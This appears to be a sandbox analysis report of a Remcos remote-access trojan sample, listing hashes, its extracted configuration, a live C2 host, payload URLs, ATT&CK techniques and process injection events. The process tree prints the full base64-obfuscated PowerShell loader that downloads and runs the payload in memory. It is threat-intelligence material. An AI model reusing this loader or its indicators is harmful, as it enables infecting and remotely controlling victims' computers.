remcos | 36ce75d541f0430c5b5b92215fb754bfe73bc4f74c5df7a6176c347e03c360d7

General

Target

nr101612_Order.wsf
Size

3KB
MD5

2351b140cfa13f0cf05f93b471edd1f6
SHA1

aab24f356405a117ce7df0016b131872fb1b2f16
SHA256

4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17
SHA512

bb7e68724ba4e4169e90b0ff3d6379dda43c0d01bf1e26b91211a124833317a4741bb6c5f0c3e97bcc79f8d01460bb09b6cf963c2f39890b7063ddd1b74f0085

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

RemoteHost

C2

ahmedahmed.ddns.net:6426

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-SEVL3E
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	1524	WScript.exe
6	1524	WScript.exe
20	2456	powershell.exe
23	2456	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2456	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2456 set thread context of 1624	2456	powershell.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2456	powershell.exe
2456	powershell.exe
2456	powershell.exe
2456	powershell.exe
2456	powershell.exe
2456	powershell.exe
2456	powershell.exe
2456	powershell.exe
2456	powershell.exe
2456	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2456	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1624	MSBuild.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 2456	1524	WScript.exe	83
PID 1524 wrote to memory of 2456	1524	WScript.exe	83
PID 2456 wrote to memory of 4628	2456	powershell.exe	91
PID 2456 wrote to memory of 4628	2456	powershell.exe	91
PID 2456 wrote to memory of 4628	2456	powershell.exe	91
PID 2456 wrote to memory of 1812	2456	powershell.exe	92
PID 2456 wrote to memory of 1812	2456	powershell.exe	92
PID 2456 wrote to memory of 1812	2456	powershell.exe	92
PID 2456 wrote to memory of 4644	2456	powershell.exe	93
PID 2456 wrote to memory of 4644	2456	powershell.exe	93
PID 2456 wrote to memory of 4644	2456	powershell.exe	93
PID 2456 wrote to memory of 2776	2456	powershell.exe	94
PID 2456 wrote to memory of 2776	2456	powershell.exe	94
PID 2456 wrote to memory of 2776	2456	powershell.exe	94
PID 2456 wrote to memory of 1624	2456	powershell.exe	95
PID 2456 wrote to memory of 1624	2456	powershell.exe	95
PID 2456 wrote to memory of 1624	2456	powershell.exe	95
PID 2456 wrote to memory of 1624	2456	powershell.exe	95
PID 2456 wrote to memory of 1624	2456	powershell.exe	95
PID 2456 wrote to memory of 1624	2456	powershell.exe	95
PID 2456 wrote to memory of 1624	2456	powershell.exe	95
PID 2456 wrote to memory of 1624	2456	powershell.exe	95
PID 2456 wrote to memory of 1624	2456	powershell.exe	95
PID 2456 wrote to memory of 1624	2456	powershell.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nr101612_Order.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $originador = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JGFudGl2aXZpc3NlY2Npb25pc3RhID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JHBsdW1hY2hvID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29udm9jYXIgPSAkcGx1bWFjaG8uRG93bmxvYWREYXRhKCRhbnRpdml2aXNzZWNjaW9uaXN0YSk7JGFjY2VsZXJhdHJpeiA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRjb252b2Nhcik7JGNoaW5jaGFycmF2ZWxobyA9ICc8PEJBU0U2NF9TVEFSVD4+Jzskb2JjZWNhciA9ICc8PEJBU0U2NF9FTkQ+Pic7JHRhc2NhciA9ICRhY2NlbGVyYXRyaXouSW5kZXhPZigkY2hpbmNoYXJyYXZlbGhvKTskbW9jYW1iZWlybyA9ICRhY2NlbGVyYXRyaXouSW5kZXhPZigkb2JjZWNhcik7JHRhc2NhciAtZ2UgMCAtYW5kICRtb2NhbWJlaXJvIC1ndCAkdGFzY2FyOyR0YXNjYXIgKz0gJGNoaW5jaGFycmF2ZWxoby5MZW5ndGg7JGFuZmljYXJwbyA9ICRtb2NhbWJlaXJvIC0gJHRhc2NhcjskYWNhc3VzbyA9ICRhY2NlbGVyYXRyaXouU3Vic3RyaW5nKCR0YXNjYXIsICRhbmZpY2FycG8pOyRlc3R1ZmFkZWlyYSA9IC1qb2luICgkYWNhc3Vzby5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkYWNhc3Vzby5MZW5ndGgpXTskcGlhc3NhYmEgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlc3R1ZmFkZWlyYSk7JG1lZHVsYW50ZSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHBpYXNzYWJhKTskZ3JhZmljYW1lbnRlID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGdyYWZpY2FtZW50ZS5JbnZva2UoJG51bGwsIEAoJzAvZUdwdU4vci9lZS5ldHNhcC8vOnNwdHRoJywgJ2JyYW5kbycsICdicmFuZG8nLCAnYnJhbmRvJywgJ01TQnVpbGQnLCAnYnJhbmRvJywgJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJzEnLCdicmFuZG8nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$alegorista = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($originador));Invoke-Expression $alegorista
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2456
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4628
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:1812
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4644
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:2776
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
127281f74a066a86e1f5cb5870c0967f

SHA1
f6176cea2f89e912d6d7274b6dd752ec46e58a65

SHA256
efc5eb4a8ee1b0f2f6872422b65dacc59b490cb655af9d233fc4e8ca7ec998ba

SHA512
c645da3e3b8aef9e2c203957a963b35592d12ab39df36629c8baa531d7a844c344edaddd70a81c258e5e6242cccde2232ef6b15a8dae0ebf0f382b2dd8ea7a9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_drllsmqj.kyz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1624-18-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1624-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1624-24-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1624-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1624-27-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1624-22-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1624-21-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2456-12-0x00007FF8A7D00000-0x00007FF8A87C1000-memory.dmp

Filesize
10.8MB

Download
memory/2456-17-0x00000121CC570000-0x00000121CC6C8000-memory.dmp

Filesize
1.3MB

Download
memory/2456-16-0x00007FF8A7D00000-0x00007FF8A87C1000-memory.dmp

Filesize
10.8MB

Download
memory/2456-15-0x00007FF8A7D00000-0x00007FF8A87C1000-memory.dmp

Filesize
10.8MB

Download
memory/2456-23-0x00007FF8A7D00000-0x00007FF8A87C1000-memory.dmp

Filesize
10.8MB

Download
memory/2456-14-0x00007FF8A7D03000-0x00007FF8A7D05000-memory.dmp

Filesize
8KB

Download
memory/2456-13-0x00007FF8A7D00000-0x00007FF8A87C1000-memory.dmp

Filesize
10.8MB

Download
memory/2456-0-0x00007FF8A7D03000-0x00007FF8A7D05000-memory.dmp

Filesize
8KB

Download
memory/2456-11-0x00007FF8A7D00000-0x00007FF8A87C1000-memory.dmp

Filesize
10.8MB

Download
memory/2456-7-0x00000121BC0B0000-0x00000121BC0D2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads